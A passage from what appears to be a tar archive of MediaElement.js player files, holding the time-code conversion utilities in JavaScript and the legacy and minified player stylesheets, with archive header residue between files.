arguments[4] !== undefined ? arguments[4] : 0; var timeFormat = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 'hh:mm:ss'; time = !time || typeof time !== 'number' || time < 0 ? 0 : time; var dropFrames = Math.round(fps * 0.066666), timeBase = Math.round(fps), framesPer24Hours = Math.round(fps * 3600) * 24, framesPer10Minutes = Math.round(fps * 600), frameSep = isDropFrame(fps) ? ';' : ':', hours = void 0, minutes = void 0, seconds = void 0, frames = void 0, f = Math.round(time * fps); if (isDropFrame(fps)) { if (f < 0) { f = framesPer24Hours + f; } f = f % framesPer24Hours; var d = Math.floor(f / framesPer10Minutes); var m = f % framesPer10Minutes; f = f + dropFrames * 9 * d; if (m > dropFrames) { f = f + dropFrames * Math.floor((m - dropFrames) / Math.round(timeBase * 60 - dropFrames)); } var timeBaseDivision = Math.floor(f / timeBase); hours = Math.floor(Math.floor(timeBaseDivision / 60) / 60); minutes = Math.floor(timeBaseDivision / 60) % 60; if (showFrameCount) { seconds = timeBaseDivision % 60; } else { seconds = Math.floor(f / timeBase % 60).toFixed(secondsDecimalLength); } } else { hours = Math.floor(time / 3600) % 24; minutes = Math.floor(time / 60) % 60; if (showFrameCount) { seconds = Math.floor(time % 60); } else { seconds = Math.floor(time % 60).toFixed(secondsDecimalLength); } } hours = hours <= 0 ? 0 : hours; minutes = minutes <= 0 ? 0 : minutes; seconds = seconds <= 0 ? 0 : seconds; seconds = seconds === 60 ? 0 : seconds; minutes = minutes === 60 ? 0 : minutes; var timeFormatFrags = timeFormat.split(':'); var timeFormatSettings = {}; for (var i = 0, total = timeFormatFrags.length; i < total; ++i) { var unique = ''; for (var j = 0, t = timeFormatFrags[i].length; j < t; j++) { if (unique.indexOf(timeFormatFrags[i][j]) < 0) { unique += timeFormatFrags[i][j]; } } if (~['f', 's', 'm', 'h'].indexOf(unique)) { timeFormatSettings[unique] = timeFormatFrags[i].length; } } var result = forceHours || hours > 0 ? (hours < 10 && timeFormatSettings.h > 1 ? '0' + hours : hours) + ':' : ''; result += (minutes < 10 && timeFormatSettings.m > 1 ? '0' + minutes : minutes) + ':'; result += '' + (seconds < 10 && timeFormatSettings.s > 1 ? '0' + seconds : seconds); if (showFrameCount) { frames = (f % timeBase).toFixed(0); frames = frames <= 0 ? 0 : frames; result += frames < 10 && timeFormatSettings.f ? frameSep + '0' + frames : '' + frameSep + frames; } return result; } function timeCodeToSeconds(time) { var fps = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 25; if (typeof time !== 'string') { throw new TypeError('Time must be a string'); } if (time.indexOf(';') > 0) { time = time.replace(';', ':'); } if (!/\d{2}(\:\d{2}){0,3}/i.test(time)) { throw new TypeError('Time code must have the format `00:00:00`'); } var parts = time.split(':'); var output = void 0, hours = 0, minutes = 0, seconds = 0, frames = 0, totalMinutes = 0, dropFrames = Math.round(fps * 0.066666), timeBase = Math.round(fps), hFrames = timeBase * 3600, mFrames = timeBase * 60; switch (parts.length) { default: case 1: seconds = parseInt(parts[0], 10); break; case 2: minutes = parseInt(parts[0], 10); seconds = parseInt(parts[1], 10); break; case 3: hours = parseInt(parts[0], 10); minutes = parseInt(parts[1], 10); seconds = parseInt(parts[2], 10); break; case 4: hours = parseInt(parts[0], 10); minutes = parseInt(parts[1], 10); seconds = parseInt(parts[2], 10); frames = parseInt(parts[3], 10); break; } if (isDropFrame(fps)) { totalMinutes = 60 * hours + minutes; output = hFrames * hours + mFrames * minutes + timeBase * seconds + frames - dropFrames * (totalMinutes - Math.floor(totalMinutes / 10)); } else { output = (hFrames * hours + mFrames * minutes + fps * seconds + frames) / fps; } return parseFloat(output.toFixed(3)); } function calculateTimeFormat(time, options) { var fps = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 25; time = !time || typeof time !== 'number' || time < 0 ? 0 : time; var hours = Math.floor(time / 3600) % 24, minutes = Math.floor(time / 60) % 60, seconds = Math.floor(time % 60), frames = Math.floor((time % 1 * fps).toFixed(3)), lis = [[frames, 'f'], [seconds, 's'], [minutes, 'm'], [hours, 'h']]; var format = options.timeFormat, firstTwoPlaces = format[1] === format[0], separatorIndex = firstTwoPlaces ? 2 : 1, separator = format.length < separatorIndex ? format[separatorIndex] : ':', firstChar = format[0], required = false; for (var i = 0, len = lis.length; i < len; i++) { if (~format.indexOf(lis[i][1])) { required = true; } else if (required) { var hasNextValue = false; for (var j = i; j < len; j++) { if (lis[j][0] > 0) { hasNextValue = true; break; } } if (!hasNextValue) { break; } if (!firstTwoPlaces) { format = firstChar + format; } format = lis[i][1] + separator + format; if (firstTwoPlaces) { format = lis[i][1] + format; } firstChar = lis[i][1]; } } options.timeFormat = format; } function convertSMPTEtoSeconds(SMPTE) { if (typeof SMPTE !== 'string') { throw new TypeError('Argument must be a string value'); } SMPTE = SMPTE.replace(',', '.'); var decimalLen = ~SMPTE.indexOf('.') ? SMPTE.split('.')[1].length : 0; var secs = 0, multiplier = 1; SMPTE = SMPTE.split(':').reverse(); for (var i = 0, total = SMPTE.length; i < total; i++) { multiplier = 1; if (i > 0) { multiplier = Math.pow(60, i); } secs += Number(SMPTE[i]) * multiplier; } return Number(secs.toFixed(decimalLen)); } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.secondsToTimeCode = secondsToTimeCode; _mejs2.default.Utils.timeCodeToSeconds = timeCodeToSeconds; _mejs2.default.Utils.calculateTimeFormat = calculateTimeFormat; _mejs2.default.Utils.convertSMPTEtoSeconds = convertSMPTEtoSeconds; },{"7":7}]},{},[29,6,5,15,23,20,19,21,22,24,16,18,17,9,10,11,12,13,14]); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/mediaelementplayer-legacy.css�������������������������������������������������������0000644�����������������00000036616�14717703502�0015455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Accessibility: hide screen reader texts (and prefer "top" for RTL languages). Reference: http://blog.rrwd.nl/2015/04/04/the-screen-reader-text-class-why-and-how/ */ .mejs-offscreen { border: 0; clip: rect( 1px, 1px, 1px, 1px ); -webkit-clip-path: inset( 50% ); clip-path: inset( 50% ); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal; } .mejs-container { background: #000; box-sizing: border-box; font-family: 'Helvetica', Arial, serif; position: relative; text-align: left; text-indent: 0; vertical-align: top; } .mejs-container * { box-sizing: border-box; } /* Hide native play button and control bar from iOS to favor plugin button */ .mejs-container video::-webkit-media-controls, .mejs-container video::-webkit-media-controls-panel, .mejs-container video::-webkit-media-controls-panel-container, .mejs-container video::-webkit-media-controls-start-playback-button { -webkit-appearance: none; display: none !important; } .mejs-fill-container, .mejs-fill-container .mejs-container { height: 100%; width: 100%; } .mejs-fill-container { background: transparent; margin: 0 auto; overflow: hidden; position: relative; } .mejs-container:focus { outline: none; } .mejs-iframe-overlay { height: 100%; position: absolute; width: 100%; } .mejs-embed, .mejs-embed body { background: #000; height: 100%; margin: 0; overflow: hidden; padding: 0; width: 100%; } .mejs-fullscreen { overflow: hidden !important; } .mejs-container-fullscreen { bottom: 0; left: 0; overflow: hidden; position: fixed; right: 0; top: 0; z-index: 1000; } .mejs-container-fullscreen .mejs-mediaelement, .mejs-container-fullscreen video { height: 100% !important; width: 100% !important; } /* Start: LAYERS */ .mejs-background { left: 0; position: absolute; top: 0; } .mejs-mediaelement { height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 0; } .mejs-poster { background-position: 50% 50%; background-repeat: no-repeat; background-size: cover; left: 0; position: absolute; top: 0; z-index: 1; } :root .mejs-poster-img { display: none; } .mejs-poster-img { border: 0; padding: 0; } .mejs-overlay { -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; left: 0; position: absolute; top: 0; } .mejs-layer { z-index: 1; } .mejs-overlay-play { cursor: pointer; } .mejs-overlay-button { background: url('mejs-controls.svg') no-repeat; background-position: 0 -39px; height: 80px; width: 80px; } .mejs-overlay:hover > .mejs-overlay-button { background-position: -80px -39px; } .mejs-overlay-loading { height: 80px; width: 80px; } .mejs-overlay-loading-bg-img { -webkit-animation: mejs-loading-spinner 1s linear infinite; animation: mejs-loading-spinner 1s linear infinite; background: transparent url('mejs-controls.svg') -160px -40px no-repeat; display: block; height: 80px; width: 80px; z-index: 1; } @-webkit-keyframes mejs-loading-spinner { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes mejs-loading-spinner { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } /* End: LAYERS */ /* Start: CONTROL BAR */ .mejs-controls { bottom: 0; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; height: 40px; left: 0; list-style-type: none; margin: 0; padding: 0 10px; position: absolute; width: 100%; z-index: 3; } .mejs-controls:not([style*='display: none']) { background: rgba(255, 0, 0, 0.7); background: -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.35)); background: linear-gradient(transparent, rgba(0, 0, 0, 0.35)); } .mejs-button, .mejs-time, .mejs-time-rail { font-size: 10px; height: 40px; line-height: 10px; margin: 0; width: 32px; } .mejs-button > button { background: transparent url('mejs-controls.svg'); border: 0; cursor: pointer; display: block; font-size: 0; height: 20px; line-height: 0; margin: 10px 6px; overflow: hidden; padding: 0; position: absolute; text-decoration: none; width: 20px; } /* :focus for accessibility */ .mejs-button > button:focus { outline: dotted 1px #999; } .mejs-container-keyboard-inactive a, .mejs-container-keyboard-inactive a:focus, .mejs-container-keyboard-inactive button, .mejs-container-keyboard-inactive button:focus, .mejs-container-keyboard-inactive [role=slider], .mejs-container-keyboard-inactive [role=slider]:focus { outline: 0; } /* End: CONTROL BAR */ /* Start: Time (Current / Duration) */ .mejs-time { box-sizing: content-box; color: #fff; font-size: 11px; font-weight: bold; height: 24px; overflow: hidden; padding: 16px 6px 0; text-align: center; width: auto; } /* End: Time (Current / Duration) */ /* Start: Play/Pause/Stop */ .mejs-play > button { background-position: 0 0; } .mejs-pause > button { background-position: -20px 0; } .mejs-replay > button { background-position: -160px 0; } /* End: Play/Pause/Stop */ /* Start: Progress Bar */ .mejs-time-rail { direction: ltr; -webkit-box-flex: 1; -webkit-flex-grow: 1; -ms-flex-positive: 1; flex-grow: 1; height: 40px; margin: 0 10px; padding-top: 10px; position: relative; } .mejs-time-total, .mejs-time-buffering, .mejs-time-loaded, .mejs-time-current, .mejs-time-float, .mejs-time-hovered, .mejs-time-float-current, .mejs-time-float-corner, .mejs-time-marker { border-radius: 2px; cursor: pointer; display: block; height: 10px; position: absolute; } .mejs-time-total { background: rgba(255, 255, 255, 0.3); margin: 5px 0 0; width: 100%; } .mejs-time-buffering { -webkit-animation: buffering-stripes 2s linear infinite; animation: buffering-stripes 2s linear infinite; background: -webkit-linear-gradient(135deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent); background: linear-gradient(-45deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent); background-size: 15px 15px; width: 100%; } @-webkit-keyframes buffering-stripes { from { background-position: 0 0; } to { background-position: 30px 0; } } @keyframes buffering-stripes { from { background-position: 0 0; } to { background-position: 30px 0; } } .mejs-time-loaded { background: rgba(255, 255, 255, 0.3); } .mejs-time-current, .mejs-time-handle-content { background: rgba(255, 255, 255, 0.9); } .mejs-time-hovered { background: rgba(255, 255, 255, 0.5); z-index: 10; } .mejs-time-hovered.negative { background: rgba(0, 0, 0, 0.2); } .mejs-time-current, .mejs-time-buffering, .mejs-time-loaded, .mejs-time-hovered { left: 0; -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: 0 0; -ms-transform-origin: 0 0; transform-origin: 0 0; -webkit-transition: 0.15s ease-in all; transition: 0.15s ease-in all; width: 100%; } .mejs-time-buffering { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } .mejs-time-hovered { -webkit-transition: height 0.1s cubic-bezier(0.44, 0, 1, 1); transition: height 0.1s cubic-bezier(0.44, 0, 1, 1); } .mejs-time-hovered.no-hover { -webkit-transform: scaleX(0) !important; -ms-transform: scaleX(0) !important; transform: scaleX(0) !important; } .mejs-time-handle, .mejs-time-handle-content { border: 4px solid transparent; cursor: pointer; left: 0; position: absolute; -webkit-transform: translateX(0); -ms-transform: translateX(0); transform: translateX(0); z-index: 11; } .mejs-time-handle-content { border: 4px solid rgba(255, 255, 255, 0.9); border-radius: 50%; height: 10px; left: -7px; top: -4px; -webkit-transform: scale(0); -ms-transform: scale(0); transform: scale(0); width: 10px; } .mejs-time-rail:hover .mejs-time-handle-content, .mejs-time-rail .mejs-time-handle-content:focus, .mejs-time-rail .mejs-time-handle-content:active { -webkit-transform: scale(1); -ms-transform: scale(1); transform: scale(1); } .mejs-time-float { background: #eee; border: solid 1px #333; bottom: 100%; color: #111; display: none; height: 17px; margin-bottom: 9px; position: absolute; text-align: center; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 36px; } .mejs-time-float-current { display: block; left: 0; margin: 2px; text-align: center; width: 30px; } .mejs-time-float-corner { border: solid 5px #eee; border-color: #eee transparent transparent; border-radius: 0; display: block; height: 0; left: 50%; line-height: 0; position: absolute; top: 100%; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 0; } .mejs-long-video .mejs-time-float { margin-left: -23px; width: 64px; } .mejs-long-video .mejs-time-float-current { width: 60px; } .mejs-broadcast { color: #fff; height: 10px; position: absolute; top: 15px; width: 100%; } /* End: Progress Bar */ /* Start: Fullscreen */ .mejs-fullscreen-button > button { background-position: -80px 0; } .mejs-unfullscreen > button { background-position: -100px 0; } /* End: Fullscreen */ /* Start: Mute/Volume */ .mejs-mute > button { background-position: -60px 0; } .mejs-unmute > button { background-position: -40px 0; } .mejs-volume-button { position: relative; } .mejs-volume-button > .mejs-volume-slider { -webkit-backface-visibility: hidden; background: rgba(50, 50, 50, 0.7); border-radius: 0; bottom: 100%; display: none; height: 115px; left: 50%; margin: 0; position: absolute; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 25px; z-index: 1; } .mejs-volume-button:hover { border-radius: 0 0 4px 4px; } .mejs-volume-total { background: rgba(255, 255, 255, 0.5); height: 100px; left: 50%; margin: 0; position: absolute; top: 8px; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 2px; } .mejs-volume-current { background: rgba(255, 255, 255, 0.9); left: 0; margin: 0; position: absolute; width: 100%; } .mejs-volume-handle { background: rgba(255, 255, 255, 0.9); border-radius: 1px; cursor: ns-resize; height: 6px; left: 50%; position: absolute; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 16px; } .mejs-horizontal-volume-slider { display: block; height: 36px; position: relative; vertical-align: middle; width: 56px; } .mejs-horizontal-volume-total { background: rgba(50, 50, 50, 0.8); border-radius: 2px; font-size: 1px; height: 8px; left: 0; margin: 0; padding: 0; position: absolute; top: 16px; width: 50px; } .mejs-horizontal-volume-current { background: rgba(255, 255, 255, 0.8); border-radius: 2px; font-size: 1px; height: 100%; left: 0; margin: 0; padding: 0; position: absolute; top: 0; width: 100%; } .mejs-horizontal-volume-handle { display: none; } /* End: Mute/Volume */ /* Start: Track (Captions and Chapters) */ .mejs-captions-button, .mejs-chapters-button { position: relative; } .mejs-captions-button > button { background-position: -140px 0; } .mejs-chapters-button > button { background-position: -180px 0; } .mejs-captions-button > .mejs-captions-selector, .mejs-chapters-button > .mejs-chapters-selector { background: rgba(50, 50, 50, 0.7); border: solid 1px transparent; border-radius: 0; bottom: 100%; margin-right: -43px; overflow: hidden; padding: 0; position: absolute; right: 50%; visibility: visible; width: 86px; } .mejs-chapters-button > .mejs-chapters-selector { margin-right: -55px; width: 110px; } .mejs-captions-selector-list, .mejs-chapters-selector-list { list-style-type: none !important; margin: 0; overflow: hidden; padding: 0; } .mejs-captions-selector-list-item, .mejs-chapters-selector-list-item { color: #fff; cursor: pointer; display: block; list-style-type: none !important; margin: 0 0 6px; overflow: hidden; padding: 0; } .mejs-captions-selector-list-item:hover, .mejs-chapters-selector-list-item:hover { background-color: rgb(200, 200, 200) !important; background-color: rgba(255, 255, 255, 0.4) !important; } .mejs-captions-selector-input, .mejs-chapters-selector-input { clear: both; float: left; left: -1000px; margin: 3px 3px 0 5px; position: absolute; } .mejs-captions-selector-label, .mejs-chapters-selector-label { cursor: pointer; float: left; font-size: 10px; line-height: 15px; padding: 4px 10px 0; width: 100%; } .mejs-captions-selected, .mejs-chapters-selected { color: rgba(33, 248, 248, 1); } .mejs-captions-translations { font-size: 10px; margin: 0 0 5px; } .mejs-captions-layer { bottom: 0; color: #fff; font-size: 16px; left: 0; line-height: 20px; position: absolute; text-align: center; } .mejs-captions-layer a { color: #fff; text-decoration: underline; } .mejs-captions-layer[lang=ar] { font-size: 20px; font-weight: normal; } .mejs-captions-position { bottom: 15px; left: 0; position: absolute; width: 100%; } .mejs-captions-position-hover { bottom: 35px; } .mejs-captions-text, .mejs-captions-text * { background: rgba(20, 20, 20, 0.5); box-shadow: 5px 0 0 rgba(20, 20, 20, 0.5), -5px 0 0 rgba(20, 20, 20, 0.5); padding: 0; white-space: pre-wrap; } .mejs-container.mejs-hide-cues video::-webkit-media-text-track-container { display: none; } /* End: Track (Captions and Chapters) */ /* Start: Error */ .mejs-overlay-error { position: relative; } .mejs-overlay-error > img { left: 0; max-width: 100%; position: absolute; top: 0; z-index: -1; } .mejs-cannotplay, .mejs-cannotplay a { color: #fff; font-size: 0.8em; } .mejs-cannotplay { position: relative; } .mejs-cannotplay p, .mejs-cannotplay a { display: inline-block; padding: 0 15px; width: 100%; } /* End: Error */������������������������������������������������������������������������������������������������������������������js/mediaelement/mediaelementplayer.min.css����������������������������������������������������������0000644�����������������00000026217�14717703502�0014771 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.mejs__offscreen{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal}.mejs__container{background:#000;font-family:Helvetica,Arial,serif;position:relative;text-align:left;text-indent:0;vertical-align:top}.mejs__container,.mejs__container *{box-sizing:border-box}.mejs__container video::-webkit-media-controls,.mejs__container video::-webkit-media-controls-panel,.mejs__container video::-webkit-media-controls-panel-container,.mejs__container video::-webkit-media-controls-start-playback-button{-webkit-appearance:none;display:none!important}.mejs__fill-container,.mejs__fill-container .mejs__container{height:100%;width:100%}.mejs__fill-container{background:transparent;margin:0 auto;overflow:hidden;position:relative}.mejs__container:focus{outline:none}.mejs__iframe-overlay{height:100%;position:absolute;width:100%}.mejs__embed,.mejs__embed body{background:#000;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.mejs__fullscreen{overflow:hidden!important}.mejs__container-fullscreen{bottom:0;left:0;overflow:hidden;position:fixed;right:0;top:0;z-index:1000}.mejs__container-fullscreen .mejs__mediaelement,.mejs__container-fullscreen video{height:100%!important;width:100%!important}.mejs__background,.mejs__mediaelement{left:0;position:absolute;top:0}.mejs__mediaelement{height:100%;width:100%;z-index:0}.mejs__poster{background-position:50% 50%;background-repeat:no-repeat;background-size:cover;left:0;position:absolute;top:0;z-index:1}:root .mejs__poster-img{display:none}.mejs__poster-img{border:0;padding:0}.mejs__overlay{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;left:0;position:absolute;top:0}.mejs__layer{z-index:1}.mejs__overlay-play{cursor:pointer}.mejs__overlay-button{background:url(mejs-controls.svg) no-repeat;background-position:0 -39px;height:80px;width:80px}.mejs__overlay:hover>.mejs__overlay-button{background-position:-80px -39px}.mejs__overlay-loading{height:80px;width:80px}.mejs__overlay-loading-bg-img{-webkit-animation:a 1s linear infinite;animation:a 1s linear infinite;background:transparent url(mejs-controls.svg) -160px -40px no-repeat;display:block;height:80px;width:80px;z-index:1}@-webkit-keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.mejs__controls{bottom:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:40px;left:0;list-style-type:none;margin:0;padding:0 10px;position:absolute;width:100%;z-index:3}.mejs__controls:not([style*="display: none"]){background:rgba(255,0,0,.7);background:-webkit-linear-gradient(transparent,rgba(0,0,0,.35));background:linear-gradient(transparent,rgba(0,0,0,.35))}.mejs__button,.mejs__time,.mejs__time-rail{font-size:10px;height:40px;line-height:10px;margin:0;width:32px}.mejs__button>button{background:transparent url(mejs-controls.svg);border:0;cursor:pointer;display:block;font-size:0;height:20px;line-height:0;margin:10px 6px;overflow:hidden;padding:0;position:absolute;text-decoration:none;width:20px}.mejs__button>button:focus{outline:1px dotted #999}.mejs__container-keyboard-inactive [role=slider],.mejs__container-keyboard-inactive [role=slider]:focus,.mejs__container-keyboard-inactive a,.mejs__container-keyboard-inactive a:focus,.mejs__container-keyboard-inactive button,.mejs__container-keyboard-inactive button:focus{outline:0}.mejs__time{box-sizing:content-box;color:#fff;font-size:11px;font-weight:700;height:24px;overflow:hidden;padding:16px 6px 0;text-align:center;width:auto}.mejs__play>button{background-position:0 0}.mejs__pause>button{background-position:-20px 0}.mejs__replay>button{background-position:-160px 0}.mejs__time-rail{direction:ltr;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;height:40px;margin:0 10px;padding-top:10px;position:relative}.mejs__time-buffering,.mejs__time-current,.mejs__time-float,.mejs__time-float-corner,.mejs__time-float-current,.mejs__time-hovered,.mejs__time-loaded,.mejs__time-marker,.mejs__time-total{border-radius:2px;cursor:pointer;display:block;height:10px;position:absolute}.mejs__time-total{background:hsla(0,0%,100%,.3);margin:5px 0 0;width:100%}.mejs__time-buffering{-webkit-animation:b 2s linear infinite;animation:b 2s linear infinite;background:-webkit-linear-gradient(135deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background:linear-gradient(-45deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background-size:15px 15px;width:100%}@-webkit-keyframes b{0%{background-position:0 0}to{background-position:30px 0}}@keyframes b{0%{background-position:0 0}to{background-position:30px 0}}.mejs__time-loaded{background:hsla(0,0%,100%,.3)}.mejs__time-current,.mejs__time-handle-content{background:hsla(0,0%,100%,.9)}.mejs__time-hovered{background:hsla(0,0%,100%,.5);z-index:10}.mejs__time-hovered.negative{background:rgba(0,0,0,.2)}.mejs__time-buffering,.mejs__time-current,.mejs__time-hovered,.mejs__time-loaded{left:0;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:all .15s ease-in;transition:all .15s ease-in;width:100%}.mejs__time-buffering{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1)}.mejs__time-hovered{-webkit-transition:height .1s cubic-bezier(.44,0,1,1);transition:height .1s cubic-bezier(.44,0,1,1)}.mejs__time-hovered.no-hover{-webkit-transform:scaleX(0)!important;-ms-transform:scaleX(0)!important;transform:scaleX(0)!important}.mejs__time-handle,.mejs__time-handle-content{border:4px solid transparent;cursor:pointer;left:0;position:absolute;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);z-index:11}.mejs__time-handle-content{border:4px solid hsla(0,0%,100%,.9);border-radius:50%;height:10px;left:-7px;top:-4px;-webkit-transform:scale(0);-ms-transform:scale(0);transform:scale(0);width:10px}.mejs__time-rail .mejs__time-handle-content:active,.mejs__time-rail .mejs__time-handle-content:focus,.mejs__time-rail:hover .mejs__time-handle-content{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.mejs__time-float{background:#eee;border:1px solid #333;bottom:100%;color:#111;display:none;height:17px;margin-bottom:9px;position:absolute;text-align:center;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:36px}.mejs__time-float-current{display:block;left:0;margin:2px;text-align:center;width:30px}.mejs__time-float-corner{border:5px solid #eee;border-color:#eee transparent transparent;border-radius:0;display:block;height:0;left:50%;line-height:0;position:absolute;top:100%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:0}.mejs__long-video .mejs__time-float{margin-left:-23px;width:64px}.mejs__long-video .mejs__time-float-current{width:60px}.mejs__broadcast{color:#fff;height:10px;position:absolute;top:15px;width:100%}.mejs__fullscreen-button>button{background-position:-80px 0}.mejs__unfullscreen>button{background-position:-100px 0}.mejs__mute>button{background-position:-60px 0}.mejs__unmute>button{background-position:-40px 0}.mejs__volume-button{position:relative}.mejs__volume-button>.mejs__volume-slider{-webkit-backface-visibility:hidden;background:rgba(50,50,50,.7);border-radius:0;bottom:100%;display:none;height:115px;left:50%;margin:0;position:absolute;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:25px;z-index:1}.mejs__volume-button:hover{border-radius:0 0 4px 4px}.mejs__volume-total{background:hsla(0,0%,100%,.5);height:100px;left:50%;margin:0;position:absolute;top:8px;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:2px}.mejs__volume-current{left:0;margin:0;width:100%}.mejs__volume-current,.mejs__volume-handle{background:hsla(0,0%,100%,.9);position:absolute}.mejs__volume-handle{border-radius:1px;cursor:ns-resize;height:6px;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:16px}.mejs__horizontal-volume-slider{display:block;height:36px;position:relative;vertical-align:middle;width:56px}.mejs__horizontal-volume-total{background:rgba(50,50,50,.8);height:8px;top:16px;width:50px}.mejs__horizontal-volume-current,.mejs__horizontal-volume-total{border-radius:2px;font-size:1px;left:0;margin:0;padding:0;position:absolute}.mejs__horizontal-volume-current{background:hsla(0,0%,100%,.8);height:100%;top:0;width:100%}.mejs__horizontal-volume-handle{display:none}.mejs__captions-button,.mejs__chapters-button{position:relative}.mejs__captions-button>button{background-position:-140px 0}.mejs__chapters-button>button{background-position:-180px 0}.mejs__captions-button>.mejs__captions-selector,.mejs__chapters-button>.mejs__chapters-selector{background:rgba(50,50,50,.7);border:1px solid transparent;border-radius:0;bottom:100%;margin-right:-43px;overflow:hidden;padding:0;position:absolute;right:50%;visibility:visible;width:86px}.mejs__chapters-button>.mejs__chapters-selector{margin-right:-55px;width:110px}.mejs__captions-selector-list,.mejs__chapters-selector-list{list-style-type:none!important;margin:0;overflow:hidden;padding:0}.mejs__captions-selector-list-item,.mejs__chapters-selector-list-item{color:#fff;cursor:pointer;display:block;list-style-type:none!important;margin:0 0 6px;overflow:hidden;padding:0}.mejs__captions-selector-list-item:hover,.mejs__chapters-selector-list-item:hover{background-color:#c8c8c8!important;background-color:hsla(0,0%,100%,.4)!important}.mejs__captions-selector-input,.mejs__chapters-selector-input{clear:both;float:left;left:-1000px;margin:3px 3px 0 5px;position:absolute}.mejs__captions-selector-label,.mejs__chapters-selector-label{cursor:pointer;float:left;font-size:10px;line-height:15px;padding:4px 10px 0;width:100%}.mejs__captions-selected,.mejs__chapters-selected{color:#21f8f8}.mejs__captions-translations{font-size:10px;margin:0 0 5px}.mejs__captions-layer{bottom:0;color:#fff;font-size:16px;left:0;line-height:20px;position:absolute;text-align:center}.mejs__captions-layer a{color:#fff;text-decoration:underline}.mejs__captions-layer[lang=ar]{font-size:20px;font-weight:400}.mejs__captions-position{bottom:15px;left:0;position:absolute;width:100%}.mejs__captions-position-hover{bottom:35px}.mejs__captions-text,.mejs__captions-text *{background:hsla(0,0%,8%,.5);box-shadow:5px 0 0 hsla(0,0%,8%,.5),-5px 0 0 hsla(0,0%,8%,.5);padding:0;white-space:pre-wrap}.mejs__container.mejs__hide-cues video::-webkit-media-text-track-container{display:none}.mejs__overlay-error{position:relative}.mejs__overlay-error>img{left:0;max-width:100%;position:absolute;top:0;z-index:-1}.mejs__cannotplay,.mejs__cannotplay a{color:#fff;font-size:.8em}.mejs__cannotplay{position:relative}.mejs__cannotplay a,.mejs__cannotplay p{display:inline-block;padding:0 15px;width:100%}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/mediaelement-migrate.min.js���������������������������������������������������������0000644�����������������00000002247�14717703502�0015023 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(a){void 0===mejs.plugins&&(mejs.plugins={},mejs.plugins.silverlight=[],mejs.plugins.silverlight.push({types:[]})),mejs.HtmlMediaElementShim=mejs.HtmlMediaElementShim||{getTypeFromFile:mejs.Utils.getTypeFromFile},void 